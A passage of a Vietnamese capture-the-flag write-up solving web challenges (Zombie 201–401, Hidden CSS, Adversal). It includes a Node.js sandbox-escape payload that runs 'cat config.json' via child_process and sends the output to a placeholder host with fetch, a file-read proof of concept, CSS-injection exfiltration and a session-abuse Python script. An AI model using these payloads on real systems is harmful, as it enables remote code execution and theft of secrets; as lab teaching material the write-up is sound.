Sau đó submit link cho bot->flag; dùng burp suite để bắt request lấy link submit.
Zoombie 201
Bài này thì mọi thứ giống bài 1 nhưng có điều lúc này cookie được set http only, như trước đây mình học tập có một người anh đã nói với mình là nếu đã set http only thì chỉ có leak nó ra gián tiếp từ một trang các chứ không thể leak ra trực tiếp được.
Chúng ta sẽ vào phân tích những đoạn code:
// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
if (config.allowDebug) {
res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
}
else {
res.send('sorry, debug endpoint is not enabled')
}
})
Chú ý đoạn code trên có một endpoint debug ở đây nó sẽ kiếm tra biến allowDebug trong config xem cho phép hay không khi đó nếu true thì req.headers (Tất nhiên nó sẽ kèm cả cookie).
Mình sẽ giải thích chi tiết đoạn payload trên cho ai chưa biết tới JS:
Đoạn code này sử dụng phương thức fetch để gửi một yêu cầu HTTP GET đến địa chỉ 'https://zombie-201-tlejfksioa-ul.a.run.app/debug'. Sau đó, nó sử dụng phương thức then để xử lý phản hồi từ máy chủ.
Trong phương thức then thứ nhất, nó trích xuất nội dung của phản hồi bằng cách gọi phương thức text() trên đối tượng response. Phương thức text() sẽ trả về một Promise chứa dữ liệu văn bản của phản hồi.
Trong phương thức then thứ hai, nó sử dụng dữ liệu được trả về từ phương thức text() để tạo một địa chỉ URL mới. Địa chỉ URL này sẽ chứa một tham số "c" với giá trị là dữ liệu văn bản được trả về từ phản hồi.
Sau đó, nó sử dụng phương thức concat() để ghép chuỗi địa chỉ IP của yêu cầu vào địa chỉ URL mới và sử dụng đối tượng document để chuyển hướng trình duyệt đến địa chỉ URL mới này.
Nếu có lỗi xảy ra trong quá trình gửi yêu cầu hoặc xử lý phản hồi, đoạn code sử dụng phương thức catch để xử lý ngoại lệ và ghi log lỗi ra console.
Mình đã đọc qua code thì chắc chắn debug không dính CSP khi đó cách này là khả thi nhất.
Chúng ta sẽ lại lấy link submit cho con bot->flag
Zoombie 301
Bài này giống những bài nhưng những endpoint debug không thể truy cập được.
Vẫn như lời một người anh đã nói với mình muốn đọc được cookie có http only thì hãy xem file nào chứa nó và có thể leak ra hay không.
this.constructor là một tham chiếu đến hàm constructor của đối tượng hiện tại.(Dễ hiểu nó là Object)
this.constructor.constructor là một tham chiếu đến hàm constructor của hàm constructor của đối tượng hiện tại(Dễ hiểu là function của object).
Trong đoạn code này, this.constructor.constructor('return process.env.FLAG')() được sử dụng để truy cập đến hàm constructor của hàm constructor của đối tượng hiện tại. Sau đó, ('return process.env.FLAG')() được sử dụng để trả về giá trị của biến môi trường process.env.FLAG.
Có một payload khác là đánh cắp header kèm cookie khi server trả về browser.
Khi một cookie được thiết lập là http-only, nó sẽ không thể truy cập được từ các client-side script như JavaScript, và chỉ có thể được gửi đến server thông qua các yêu cầu HTTP. Tuy nhiên, việc thiết lập cookie là http-only không có tác dụng trong việc ngăn chặn việc gửi cookie từ server đến client thông qua các phản hồi HTTP.
Khi một yêu cầu được gửi đến server, server sẽ trả về phản hồi HTTP chứa các thông tin header như cookie, các thông tin về cache, mã trạng thái và các thông tin khác. Tùy thuộc vào cách server được cấu hình, nó có thể trả về các header chứa cookie đã được thiết lập là http-only.
Trong trường hợp của đoạn mã trên, khi một yêu cầu được gửi đến trang web https://zombie-301-tlejfksioa-ul.a.run.app/ bằng phương thức fetch, server sẽ trả về phản hồi HTTP chứa các thông tin header, bao gồm header chứa cookie đã được thiết lập là http-only. Tuy nhiên, cookie đó không thể truy cập được từ client-side script, do đó, nó không thể được đánh cắp bởi các script độc hại.
Sau đó, đoạn mã tiếp tục sử dụng phương thức fetch để gửi dữ liệu của phản hồi HTTP đến một địa chỉ URL khác bằng cách sử dụng thuộc tính credentials được thiết lập là include. Nếu server của địa chỉ URL này đã được cấu hình để chia sẻ cookie giữa các tên miền khác nhau (cross-domain) bằng cách thiết lập header Access-Control-Allow-Credentials: true, thì cookie có thể được gửi đến địa chỉ URL khác thông qua phương thức fetch.
Tóm lại, việc thiết lập cookie là http-only không thể ngăn chặn việc gửi cookie từ server đến client, nhưng nó có thể ngăn chặn việc truy cập cookie từ các client-side script. Việc sử dụng thuộc tính credentials được thiết lập là include trong phương thức fetch chỉ cho phép chia sẻ cookie giữa các tên miền khác nhau nếu server của địa chỉ URL đích đã được cấu hình để chia sẻ cookie giữa các tên miền khác nhau.
Zoombie 401
Bài này cũng có thể solve bằng payload của bài 301 truy cập thẳng file config của server chứa flag
Chúng ta sẽ không lấy được flag ở payload 2 vì biến môi trường lúc này không chứa flag.
Ở đây chúng ta sẽ nghiên cứu lại một xíu thì Đoạn mã trên sử dụng thư viện zombie trong Node.js để tạo một trình duyệt không đầu (headless browser).
Chịu khó tìm zoombie.js ở git truy cập vào file CHANGELOG.md để xem các thay đổi thì thấy rằng:
Zombie phiên bản cuối cùng là từ năm 2018, có thể chúng ta sẽ tìm thấy một số 1 day https://github.com/assaf/zombie/blob/master/CHANGELOG.md
Ở đây một lúc research thì chúng ta có một POC có thể đọc file - thực tế nó là vuln của nodeJS nhưng zoombie cũng gặp phải:
const vm = require('vm');
const result = vm.runInNewContext(`
(function() {
var c = 'constructor';
var require = require=this[c][c]('return process')().mainModule.require;
var fs = require('fs');
return String(fs.readFileSync('/home/joshbreckman/Documents/vm.js'));
})()
`);
console.log(result);
Oke nhưng từ dây chúng ta có thể xây dựng một payload khác
Payload này có thể dùng RCE được nếu không biết vị trí chứa flag:
<script>
let process = this.constructor.constructor("return process")();
let data = process.mainModule.require("child_process").execSync("cat config.json").toString();
fetch("IP_REQUEST?data=" + data);
</script>
Chúng ta sẽ giải thích cách hoạt động đoạn payload nay nhé:
Dòng đầu mình đã giải thích ở Zoombie 301, nó chỉ khác ở trên return ra ENV còn đây là process.
Trong Node.js biến toàn cục process (Global) tức là mọi thứ đều có quyền truy cập đến. Bạn không cần khai báo hay import chúng bởi phương thức require() mà vẫn có thể sử dụng chúng một cách trực tiếp. Các đối tượng này có thể là các Module, các hàm, các chuỗi hoặc các đối tượng.(Có thể hiểu nó là một tiến trình tương đương 1 ứng dụng dược chạy)
Đoạn code tiếp, process.mainModule được sử dụng để xác định module chính được sử dụng trong ứng dụng Node.js. require('child_process') được sử dụng để yêu cầu module child_process. execSync('cat config.json') được sử dụng để thực thi lệnh cat config.json và trả về kết quả. toString() được sử dụng để chuyển đổi kết quả trả về thành chuỗi .
child_process là một module trong Node.js, cho phép tạo ra các tiến trình con (child process) để thực hiện các tác vụ bất đồng bộ (asynchronous) mà không ảnh hưởng đến tiến trình chính (main process).
Vì NodeJS hay là thực hiện xử lý bất đồng bộ nghĩa là nó sẽ thực hiện các tác vụ nhẹ trước rồi sẽ tới tác vị nặng vì vậy chúng ta dùng execSync:
execSync là một phương thức của đối tượng child_process trong Node.js. Phương thức này được sử dụng để thực thi một lệnh đồng bộ và trả về kết quả của lệnh đó.
Hidden CSS
Bài này chúng ta sẽ gửi một url tới bot. Và chúng ta sẽ xem qua source code của chall này.
Ở đây pritvate-server sẽ chạy ở locale, chúng ta sẽ phân tích code private:
const express = require('express');
const app = express();
const FLAG = 'wctf{redacted}'
// To visit me, please use a URL like http://0/css
// since http://localhost/css will NOT work.
app.get('/css', function(req, res) {
let prefix = '' + req.query.prefix
console.log('visit to /css?prefix='+prefix)
for (c of prefix) {
const charCode = c.charCodeAt(0)
if (charCode < 32 || charCode > 126) {
prefix = 'illegal characters seen'
break
}
}
if (prefix.length > 20) {
prefix = 'your prefix is too long'
}
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Type', 'text/css');
res.send(prefix + FLAG);
});
const port = 1337;
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
Đoạn code này là một đoạn mã Node.js. Khi bạn truy cập vào đường dẫn /css trên local, nó sẽ trả về một đoạn mã CSS. Đoạn mã CSS này sẽ được tạo ra bằng cách lấy giá trị của tham số prefix từ URL và nối với biến FLAG.
Cụ thể như sau:
- Lấy giá trị của tham số prefix từ URL.
- Kiểm tra xem giá trị của prefix có chứa ký tự không hợp lệ hay không. Nếu có, thay thế prefix bằng chuỗi 'illegal characters seen'.
- Kiểm tra xem độ dài của prefix có vượt quá 20 ký tự hay không. Nếu có, thay thế prefix bằng chuỗi 'your prefix is too long'.
- Thiết lập các header của HTTP response.
- Trả về đoạn mã CSS được tạo ra bằng cách nối giá trị của prefix và biến FLAG.
Ý tưởng ở đây chúng ta sẽ bypass tất cả điều kiện của server private và lấy giá trị của biến css.
Phân tích qua cách thức hoạt động của đoạn payload trên:
Trong đoạn payload, chúng ta đang sử dụng một đường dẫn http://0:1337/css để lấy nội dung CSS. Trong đường dẫn này, chúng ta đang truyền tham số prefix với giá trị p {--flag:". Điều này sẽ làm cho đoạn CSS trả về chứa một biến --flag với giá trị bằng rỗng và tiếp đó được nối với giá trị của biến FLAG trong đoạn code server.
Tiếp theo, chúng ta sử dụng JavaScript để lấy giá trị của biến --flag từ id#payload. Điều này có thể được thực hiện bằng cách sử dụng hàm getComputedStyle để lấy các thuộc tính CSS của phần tử và sau đó sử dụng getPropertyValue để lấy giá trị của biến --flag.
Cuối cùng, chúng ta sử dụng hàm fetch để gửi giá trị của biến --flag đến một địa chỉ IP bất kỳ để lấy giá trị của Flag.
Tóm lại, đoạn payload này sử dụng lỗ hổng CSS Injection để lấy giá trị của biến --flag từ đoạn CSS trả về và sau đó gửi giá trị này đến một địa chỉ IP bất kỳ để lấy giá trị Flag.
Tới đây có nhiều bạn có thể sẽ thắc mắc tại sao nếu dùng p{flag: } hoặc p{color: }.... thì không thể truy xuất được giá trị flag trả về.
Vì, thứ nhất flag ở trong css nó không có, tiếp theo color hay background-color, font-size... tất cả đều là thuộc tính trong CSS và nó đã có sẵn nên khi bạn gọi tới nó thì nó sẽ trả về giá trị mặc định tại endpoint CSS, thay vào đó bạn phải khai báo một biến ở CSS --ten-bien lúc này nó sẽ là biến và nó có giá trị rỗng(nhớ kỹ là rỗng là nó không hề có trong endpoint CSS) khi đó chúng ta có thể lấy được flag như đoạn giải thích payload trên.
Exploit
Ban đầy mình chạy thẳng file payload.html lên local sau đó dùng ngrok chạy payload lên internet, nhưng không thể exploit.
Vì: ngrok sử dụng protocol https nhưng local mình dùng http và thẻ link của mình cũng dùng http://0:1337..và ip-request cũng http nên nó chặn script mặc dùng vẫn hiển thị nội dung nhưng script không được thực hiện.
Sau đó mình dùng python deploy lên trực tiếp với địa chỉ là ip máy nhưng server không nhận, sau đó thử build bằng flask cũng không được.
Sau một lúc mình mò ở request-ip mình có mục response và sửa được nên mình đã up payload lên đó và. Lúc này ip-request chứa đoạn payload và nhận response của challenge.
Bây giờ chỉ cần gửi link cho bot và nhận flag:
Adversal
Bài này cho source code, nhưng trước khi tới source code chúng ta sẽ interface có gì.
Ở đây sẽ có một endpoint opt sẽ cho chúng ta một đoạn code và có một biến ad cho chúng ta truyền bất kỳ giá trị nào.
Bây giờ chúng ta sẽ xem qua source code của chall:
const express = require('express');
const puppeteer = require('puppeteer');
const sessions = require('client-sessions');
const randomstring = require("randomstring");
const escape = require('escape-html');
const path = require('path');
const app = express()
const FLAG = process.env.FLAG || 'wctf{redacted}'
const SECRET = process.env.SECRET || 'redacted'
const CHAL_URL = 'http://0:8080'
app.use(express.static(__dirname + '/public'))
app.use(sessions({
cookieName: 'session',
secret: SECRET,
duration: 24 * 60 * 60 * 1000,
activeDuration: 1000 * 60 * 5
}));
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
// This is the endpoint the admin bot will visit (with your supplied ad as the 'ad' query parameter)
app.get('/otp', (req, res) => {
let defaultAd = `
<img src="imgs/logo.png" /> <br/>
<link rel="stylesheet" href="style/style.css" />
<h3>Get your <a href="https://wolvsec.org/" target="_blank">WolvSec</a> merch!</h3>
`
let ad = req.query.ad || defaultAd;
// Imagine that the OTP gets used somewhere important
// (you will need to exfiltrate it from the admin bot to get the flag)
let otp = randomstring.generate({length: 12, charset: 'alphanumeric'});
res.set("Content-Security-Policy", "script-src 'none'; object-src 'none'; connect-src 'self';");
res.render('otp', {
otp: otp,
ad: ad
});
});
const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
//
// [0105/011035.292928:ERROR:gpu_init.cc(523)] Passthrough is not supported, GL is disabled, ANGLE is
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
// headless chrome in docker is not a picnic
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
let otp = null;
try {
await page.setUserAgent('puppeteer');
await page.goto(url, { timeout: 20000, waitUntil: 'networkidle2' })
otp = await page.$eval("input", element=> element.getAttribute("value"));
} finally {
await page.close()
await ctx.close()
}
return otp;
}
finally {
browser.close()
}
}
app.get('/visit', async (req, res) => {
const ad = req.query.ad
console.log('received ad: ', ad)
let url = CHAL_URL + '/otp?ad=' + ad;
try {
console.log('visiting url: ', url)
let otp = await visitUrl(url, req.hostname)
if(otp != null) {
req.session.otp = otp;
res.redirect('done.html');
} else {
res.send('Error: evaluator could not find the OTP element on the page')
}
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting page with your ad: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
});
app.get('/flag', (req, res) => {
if(req.query.otp && req.session.otp && req.query.otp === req.session.otp) {
res.send(FLAG);
} else {
res.send('Incorrect! <a href="/index.html">Back to home</a>');
}
});
const port = 8080
app.listen(port, async () => {
console.log(`Listening on ${port}`)
})
Chúng ta xem xét đoạn code opt này:
// This is the endpoint the admin bot will visit (with your supplied ad as the 'ad' query parameter)
app.get('/otp', (req, res) => {
let defaultAd = `
<img src="imgs/logo.png" /> <br/>
<link rel="stylesheet" href="style/style.css" />
<h3>Get your <a href="https://wolvsec.org/" target="_blank">WolvSec</a> merch!</h3>
`
let ad = req.query.ad || defaultAd;
// Imagine that the OTP gets used somewhere important
// (you will need to exfiltrate it from the admin bot to get the flag)
let otp = randomstring.generate({length: 12, charset: 'alphanumeric'});
res.set("Content-Security-Policy", "script-src 'none'; object-src 'none'; connect-src 'self';");
res.render('otp', {
otp: otp,
ad: ad
});
});
Endpoint opt này bạn có thể điền thêm giá trị ở biến ad và sau đó render ra opt. Có điều đáng nói ở trên đã được set header CSP nên khi đó chịu, không thể khai thác XSS hoặc Cors, như trên có đoạn cmt chỉ rằng opt là endpoint mà bot visit. À opt ở đây sẽ được random với 12 chữ cái a-zA-Z0-9
Ở đây mình nghĩ có thể dùng cách khai thác CSS Injection:
Nếu có đủ opt của bot khi đó sẽ có flag. Nhưng chúng ta sẽ xem xét tới một vuln khác ở đây:
const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
//
// [0105/011035.292928:ERROR:gpu_init.cc(523)] Passthrough is not supported, GL is disabled, ANGLE is
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
// headless chrome in docker is not a picnic
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})
try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
let otp = null;
try {
await page.setUserAgent('puppeteer');
await page.goto(url, { timeout: 20000, waitUntil: 'networkidle2' })
otp = await page.$eval("input", element=> element.getAttribute("value"));
} finally {
await page.close()
await ctx.close()
}
return otp;
}
finally {
browser.close()
}
}
Đây là một hàm visitUrl, nó tạo một trình duyệt ẩn danh mới và mở một trang web với đường dẫn được cung cấp. Sau đó, nó tìm kiếm phần tử đầu tiên của trang web là một thẻ input và lấy giá trị của thuộc tính “value” của nó. Nếu không tìm thấy phần tử input, giá trị của biến otp sẽ là null. Cuối cùng, nó đóng trang web và trình duyệt ẩn danh và trả về giá trị của biến otp. Nếu có bất kỳ lỗi nào xảy ra trong quá trình này, chúng sẽ được bắt và xử lý trong khối try-catch-finally cuối cùng.
Yaahh nếu bạn đọc đoạn trên cũng hiểu vuln ở đâu rồi chứ nếu chưa thì xem xét kỹ hơn:
Đoạn code trên là một chức năng JavaScript được sử dụng để trích xuất giá trị của input từ một trang web đã cho.
Đầu tiên, biến otp được khởi tạo với giá trị null. Chức năng này sử dụng thư viện Puppeteer để tạo một trình duyệt đơn giản. Sau đó, chức năng sử dụng phương thức setUserAgent() để thiết lập user agent là "puppeteer".
Tiếp đó, chức năng này sử dụng phương thức goto() để truy cập đến địa chỉ url đã cho. Tham số đầu tiên của phương thức này là địa chỉ url cần truy cập. Tham số thứ hai là một đối tượng chứa các tùy chọn, trong đó timeout được thiết lập là 20000 (20 giây) và waitUntil được thiết lập là 'networkidle2', cho phép trang web đợi cho đến khi mạng không có hoạt động nào trước khi tiếp tục.
Sau khi đã truy cập vào trang web, chức năng này sử dụng phương thức $eval() để trích xuất giá trị của thẻ input đầu tiên trên trang web. Đối số đầu tiên của phương thức này là một chuỗi CSS selector để xác định phần tử HTML cần được truy cập. Trong trường hợp này, phần tử HTML là thẻ input đầu tiên trên trang web. Đối số thứ hai của phương thức này là một hàm chứa các thao tác để lấy giá trị thuộc tính của phần tử HTML. Trong trường hợp này, chúng ta sử dụng phương thức getAttribute() để lấy giá trị của thuộc tính "value" của phần tử HTML đó.
Sau khi trích xuất được giá trị của intput, chức năng đóng trình duyệt và kết thúc phiên làm việc bằng các lệnh page.close() và ctx.close(). Cuối cùng, giá trị của biến otp được trả về. Nếu không tìm thấy giá trị của trường nhập liệu, giá trị của biến otp sẽ vẫn là null.
Bạn đọc kỹ phần mình bôi màu nhé. Tiếp xem đến endpoint visit:
app.get('/visit', async (req, res) => {
const ad = req.query.ad
console.log('received ad: ', ad)
let url = CHAL_URL + '/otp?ad=' + ad;
try {
console.log('visiting url: ', url)
//giá trị otp sẽ được lấy khi bạn gửi link cho admin
let otp = await visitUrl(url, req.hostname)
//Nếu k có mã otp thì khi đó otp sẽ được gắn với sesion.otp
if(otp != null) {
req.session.otp = otp;
res.redirect('done.html');
} else {
res.send('Error: evaluator could not find the OTP element on the page')
}
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting page with your ad: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}
});
Tiếp theo xem endpoint index /
Tổng kết lại:
Giá trị otp sẽ được hàm visitUrl lấy ở input đầu tiên thì ở endpoint / cũng có input, khi đó nếu không có giá trị otp thì nó sẽ tự gắn session.opt = opt. Nếu tìm cách chuyển hướng về /
Vậy nếu khi đó chúng ta chỉ cần submit thì có thể lấy được flag, nhưng phải trong cùng session.
Sau khi bot truy cập trang, nó sẽ tìm thẻ input đầu tiên và trích xuất giá trị của nó và trả về dưới dạng OTP.
import requests
s = requests.Session()
#Sử dụng thẻ meta để chuyển hướng tới index
s.get('https://adversal-tlejfksioa-ul.a.run.app/visit?ad=<meta http-equiv="refresh" content="0; URL=/" />')
#sau đó submit khi đó mã opt
flag = s.get('https://adversal-tlejfksioa-ul.a.run.app/flag?otp=Submit').text
print(flag)
Trong đoạn payload, yêu cầu GET tới endpoint /visit được gửi đến trang web của ứng dụng với một tham số truy vấn (query parameter) ad chứa một đoạn mã HTML. Tuy nhiên, đoạn mã này không phải là mục đích chính của cuộc tấn công, mà chỉ là một cách để tạo ra một yêu cầu đến ứng dụng web mà không cần sự tương tác của người dùng.
Sau khi yêu cầu GET /visit đã được gửi, payload tiếp tục gửi một yêu cầu GET tới endpoint /flag với một tham số truy vấn otp được đính kèm. Nhưng vì đã sử dụng một đối tượng session để thực hiện cả hai yêu cầu GET này, ứng dụng web sẽ xác định đây là hai yêu cầu được thực hiện bởi cùng một người dùng và sẽ cho phép yêu cầu /flag được thực hiện mà không cần xác thực lại người dùng.
Phương thức execSync sẽ chặn luồng thực thi cho đến khi lệnh được thực thi xong và trả về kết quả.
Ở đây ý tưởng chúng ta sẽ dùng một đoạn css nói ở prefix, nó gọi là
Brute-foce 12 ký tự sẽ ra nhưng có điều khá lâu có một bài về kỹ thuật CSS Injection ở giải ctf khác, có thể xem ở đây: